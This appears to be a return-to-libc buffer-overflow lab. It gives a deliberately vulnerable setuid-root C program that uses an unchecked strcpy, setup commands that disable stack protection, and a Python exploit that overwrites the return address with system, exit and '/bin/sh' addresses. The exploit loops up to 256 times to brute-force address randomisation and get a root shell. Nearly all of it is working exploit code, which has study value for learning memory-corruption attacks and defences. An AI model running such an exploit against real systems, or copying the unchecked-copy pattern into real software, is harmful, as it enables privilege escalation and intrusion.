//vuln.c

#include <stdio.h>

#include <string.h>

int main(int argc, char* argv[]) {

 char buf[256];

 strcpy(buf,argv[1]);

 printf("%s\n",buf);

 fflush(stdout);

 return 0;

}

echo 2 > /proc/sys/kernel/randomize_va_space

gcc -fno-stack-protector -g -o vuln vuln.c

sudo chown root vuln

sudo chgrp root vuln

sudo chmod +s vuln

#exp.py

#!/usr/bin/env python

import struct

from subprocess import call

libc_base_addr = 0x161dd8   #随便选择一个基址即可

exit_off = 0x001a615c

system_off = 0x0003f430

binsh_off=0x161dd8

system_addr = libc_base_addr + system_off

exit_addr = libc_base_addr + exit_off

binsh_arg = binsh_off+libc_base_addr

#endianess convertion

def conv(num):

 return struct.pack("<I",num)

buf = "A" * 268

buf += conv(system_addr)

buf += conv(exit_addr)

buf += conv(binsh_arg)

bufl=""

print "Calling vulnerable program"

#Multiple tries until we get lucky

i = 0

while (i < 256):

 print "Number of tries: %d" %i

 i += 1

 ret = call(["./vuln", buf])

 if (not ret):

  break

 else:

  print "Exploit failed"